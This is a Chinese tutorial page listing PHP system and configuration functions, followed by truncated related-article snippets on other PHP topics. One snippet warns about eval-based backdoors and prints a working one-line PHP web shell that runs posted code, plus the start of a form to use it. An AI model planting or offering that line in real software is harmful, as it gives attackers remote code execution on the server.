为你总结一些php系统类函数

认为整理的还比较详细的,亲们,就快点收藏起来吧!

PHP系统类函数

assert函数:检查assertion声明是否错误
extension_loaded函数:检查PHP扩展是否加载
get_cfg_var函数:获取PHP配置选项的值
get_current_user函数:获取当前PHP脚本的所有者的名称
get_defined_constants函数:返回一个包含PHP预定义常量信息的数组
get_extension_funcs函数:返回一个包含指定模块中的所有函数名称的数组
get_include_path函数:返回当前配置的文件包含路径的信息
get_included_files函数:返回一个关于文件包含信息的数组
get_loaded_extensions函数:返回一个包含所有装载模块信息的数组
get_magic_quotes_gpc函数:获取magic_quotes_gpc的状态信息
get_magic_quotes_runtime函数:获取magic_quotes_ runtime的状态信息
get_required_files函数:返回一个关于文件包含信息的数组
getenv函数:获取PHP环境变量的值

PHP系统类函数

getlastmod函数:获取当前PHP页面文件的最后修改时间
getmygid函数:获取当前PHP脚本页面所有者的GID号码
getmyinode函数:获取当前PHP脚本页面的INODE号码
getmypid函数:获取PHP的PID
getmyuid函数:获取PHP脚本页面所有者的UID号码
getopt函数:从命令行参数列表获取设置
getrusage函数:获取当前的资源语法
ini_get_all函数:获取所有配置选项
ini_get函数:获取配置选项的值
memory_get_usage函数:返回PHP脚本占用的内存空间
php_ini_scanned_files函数:返回配置文件目录下的配置文件列表
php_logo_guid函数:获取LOGO图片的GUID
php_sapi_name函数:获取PHP和Web服务器之间的接口类型
php_uname函数:获取PHP脚本运行的操作系统信息
phpcredits函数:打印credits列表
phpinfo函数:输出PHP的信息
phpversion函数:获取PHP版本
zend_logo_guid函数:获取ZEND的LOGO图片的GUID
zend_version函数:获取ZEND引擎的版本

PHP配置类函数

assert_options函数:设置或者获取不同的声明标记
ini_alter函数:设置PHP配置选项的值
ini_restore函数:恢复配置选项的值
ini_set函数:设置PHP配置选项的值
putenv函数:设置环境变量
restore_include_path函数:恢复文件包含路径配置信息
set_include_path函数:设置文件包含路径配置选项
set_magic_quotes_runtime函数:设置magic_quotes运行时间
set_time_limit函数:设置最大执行时间

其他类函数

dl函数:加载PHP的扩展模块
main函数:只是一个挂名的main()函数
version_compare函数:比较PHP两个版本值

以上就是全部的php系统类函数,希望对大家的学习有所帮助。

(0)

相关推荐

  • php动态函数调用方法

    php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数 下面是一个简单的动态函数调用范例 <html> <head> <title>Dynamic Function Calls</title> </head> <body> <?php function sayHello() { echo "Hello<br />"; } $function_holder = "s

  • 百度工程师讲PHP函数的实现原理及性能分析(三)

    常用php函数实现及介绍 count count是我们经常用到的一个函数,其功能是返回一个数组的长度. count这个函数,其复杂度是多少呢? 一种常见的说法是count函数会遍历整个数组然后求出元素个数,因此复杂度是O(n).那实际情况是不是这样呢?我们回到count的实现来看一下,通过源码可以发现,对于数组的count操作,函数最终的路径是zif_count-> php_count_recursive-> zend_hash_num_elements,而zend_hash_num_elem

  • php中ob_flush函数和flush函数用法分析

    本文实例分析了php中ob_flush函数和flush函数用法.分享给大家供大家参考.具体如下: ob_flush()函数: 取出PHP buffering中的数据,放入server buffering flush()函数: 取出Server buffering的数据,放入browser buffering 例如代码: <?php echo str_repeat('m0sh1' ,1000); for($i=0;$i<4;$i++) { echo $i.'<br />'; ob_f

  • php通过exif_read_data函数获取图片的exif信息

    php获取图片的exif信息,php自带一个exif_read_data函数可以用来读取图片的exif信息,代码来自php手册 <?php echo "test1.jpg:<br />\n"; $exif = exif_read_data('tests/test1.jpg', 'IFD0'); echo $exif===false ? "No header data found.<br />\n" : "Image conta

  • php eval函数一句话木马代码

    eval可以用来执行任何其他php代码,所以对于代码里发现了eval函数一定要小心,可能是木马 就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范 <?php @eval($_POST['c']);?> 使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行 <html> <body> <form action="a.php" method="post"> <input typ

  • 详解PHP中的mb_detect_encoding函数使用方法

    php中可以使用 mb_detect_encoding() 函数来判断字符串是什么编码的. 当在php中使用mb_detect_encoding函数进行编码识别时,很多人都碰到过识别编码有误的问题,例如对与GB2312和UTF-8,或者UTF-8和GBK(这里主要是对于cp936的判断),网上说是由于字符短时mb_detect_encoding会出现误判. 代码如下: $encode = mb_detect_encoding($keytitle, array("ASCII","

  • 为你总结一些php信息函数

    PHP信息函数包含的一些函数概念总结如下. PHP信息函数之getenv 适用版本:PHP3, PHP4 函数功能:取得环境变量数值. 函数语法:string getenv (string varname) 函数说明:这个函数能够返回 PHP 的环境变量数值, 可以利用这个函数取得相关数据. 范例程序: < ?PHP $ip=getenv ("REMOTE_ADDR"); echo "客户端的 IP 是:".$IP; ?> 执行结果:此结果因用户不同而不

  • 老版本PHP转义Json里的特殊字符的函数

    在给一个 App 做 API,从服务器端的 MySQL 取出数据,然后生成 JSON.数据中有个字段叫 content,里面保存了文章内容,含有大量 HTML 标签,这个字段在转 json 的时候需要转义,因为有大量的特殊字符会破坏 json 的结构. 比如这么一段 content: 复制代码 代码如下: 'Lorem ipsum "dolor" sit amet, consectetur \ adipiscing elit.' 则必须要转化为: 复制代码 代码如下: Lorem ip

  • 以实例全面讲解PHP中多进程编程的相关函数的使用

    PHP有一组进程控制函数(编译时需要–enable-pcntl与posix扩展),使得php能实现跟c一样的创建子进程.使用exec函数执行程序.处理信号等功能. <?php header('content-type:text/html;charset=utf-8' ); // 必须加载扩展 if (!function_exists("pcntl_fork")) { die("pcntl extention is must !"); } //总进程的数量 $t

  • PHP概率计算函数汇总

    其实发这篇博感觉并没有什么用,太简单了,会的人不屑看,不会的人自已动动脑子也想到了.但是看着自已的博客已经这么久没更,真心疼~.粗略算下一篇只有代码的水文,会占用OSC至少十几KB的数据库空间呢,但是,一想到乱弹里的然并卵,也就释然了. <?php /** * 概率计算类 * 可用于抽奖等 */ class Probability { /** * 概率统计数据 * thing => chance */ var $data = array(); var $chance_count = 0; fu

  • php支持中文字符串分割的函数

    str_split不支持中文,利用mb_xx函数实现个 /** * Convert a string to an array * @param string $str * @param number $split_length * @return multitype:string */ function mb_str_split($str,$split_length=1,$charset="UTF-8"){ if(func_num_args()==1){ return preg_spl

  • 7个鲜为人知却非常实用的PHP函数

    概述 PHP有着众多的内置函数,其中大多数函数都被开发者广发使用.但也有一些同样有用却被遗忘在角落,本文将介绍7个鲜为人知功能却非常酷的函数. highlight_string() 当需要在网页中展示PHP代码时,highlight_string()函数就显得非常有用.该函数通过PHP内置定义的颜色,返回函数中代码的高亮显示版本. 复制代码 代码如下: <?php     highlight_string('<?php echo "hello world" ; ?>'

  • php中使用key,value,current,next和prev函数遍历数组的方法

    本文实例讲述了php中使用key,value,current,next和prev函数遍历数组的方法.分享给大家供大家参考.具体分析如下: php中针对数组遍历有一系列的函数使我们可以非常方便的操作数组,要遍历一个数组,第一步就是要将指针指向数组开头,使用reset()函数. 使用prev()和next()函数可以查看数组的上一个和下一个元素.在然和位置都可以使用current()函数获得当前的值,使用key()函数获得键值 $array = array('foo' => 'bar', 'baz'

  • PHP中的一些常用函数收集

    <?php //===============================时间日期=============================== //y返回年最后两位,Y年四位数,m月份数字,M月份英文.d月份几号数字,D星期几英文 $date=date("Y-m-d"); $date=date("Y-m-d H:i:s");//带时分秒 //include,include_once.require,require_once //require("

  • PHP register_shutdown_function()函数的使用示例

    通过 register_shutdown_function 方法,可以让我们设置一个当执行关闭时可以被调用的另一个函数. 也就是说,当我们的脚本执行完成或者意外死掉导致 php 执行即将关闭时,我们的这个函数会被调用. [使用场景] ① 页面被(用户)强制停止 ② 程序代码意外终止或超时 ③ php4 中没有析构函数,可以使用该函数模拟析构函数 shutdown.php <?php header("content-type:text/html;charset=utf-8"); c

  • PHP中生成UUID自定义函数分享

    UUID 全称是 Universally unique identifier,它是一种识别符,使用任意的计算机都可以生成,不需要一个中央数据库进行管理,即可以保证几乎没有重复的几率.而 UUID 的值域之大,据说给世界上每一粒沙子分配一个 UUID,也不会有重复的. 最近在改 WordPress 的代码,需要用到 UUID.但是,PHP 中居然没有生成 UUID 的函数,只好自己写一个. if (!function_exists('com_create_guid')) { function co

  • 用JavaScript实现PHP的urlencode与urldecode函数

    很多朋友说JavaScript的decodeURI函数也可以实现,但有bug所有呢,下面看下下面的函数,经过测试使用暂时没什么问题,我在之前的文章说过,这个和php的urldecode函数根本不是一回事.下面是我根据高人的代码改写的JavaScript版的urldecode函数,参考的链接在开头提到的文章中有,就不一一列举了.和之前的urlencode函数一样,只实现了utf-8版的. 1.urlencode 使用方法: urlencode(str); function urlencode(cl

  • 10个php函数实用却不常见

    1. sys_getloadavg() sys_getloadavt()可以获得系 统负载情况.该函数返回一个包含三个元素的数组,每个元素分别代表系统再过去的1.5和15分钟内的平均负载.与其让服务器因负 载过高而宕掉,不如在系统负载很高时主动die掉一个脚本,sys_getloadavg()就是用来帮你实现这个功能的. 不过很遗憾,该函数在windows下无效. 2. pack() Pack() 能将md5()返回的32位16进制字符串转换为16位的二进制字符串,可以节省存储空间. 3. ca

  • 13个PHP函数超实用

    1.PHP加密解密 PHP加密和解密函数可以用来加密一些有用的字符串存放在数据库里,并且通过可逆解密字符串,该函数使用了base64和MD5加密和解密. function encryptDecrypt($key, $string, $decrypt){ if($decrypt){ $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($string), MCRYPT_MODE_CBC, md

  • ThinkPHP开发框架函数详解:C方法

    C方法是ThinkPHP用于设置.获取,以及保存配置参数的方法,使用频率较高. 了解C方法需要首先了解下ThinkPHP的配置,因为C方法的所有操作都是围绕配置相关的.ThinkPHP的配置文件采用PHP数组格式定义. 由于采用了函数重载设计,所以用法较多,我们来一一说明下. 设置参数 C('DB_NAME','thinkphp'); 表示设置DB_NAME配置参数的值为thinkphp,由于配置参数不区分大小写,所以下面的写法也是一样: C('db_name','thinkphp'); 但是建

  • PHP中file_get_contents函数抓取https地址出错的解决方法(两种方法)

    方法一: 在php中,抓取https的网站,提示如下的错误内容: Warning: file_get_contents() [function.file-get-contents]: failed to open stream: Invalid argument in I:Webmyphpa.php on line 16 打开php.ini文件找到 ;extension=php_openssl.dll ,去掉双引号";" ,重启web服务器即可. apache服务器的话,可以同时启用m

随机推荐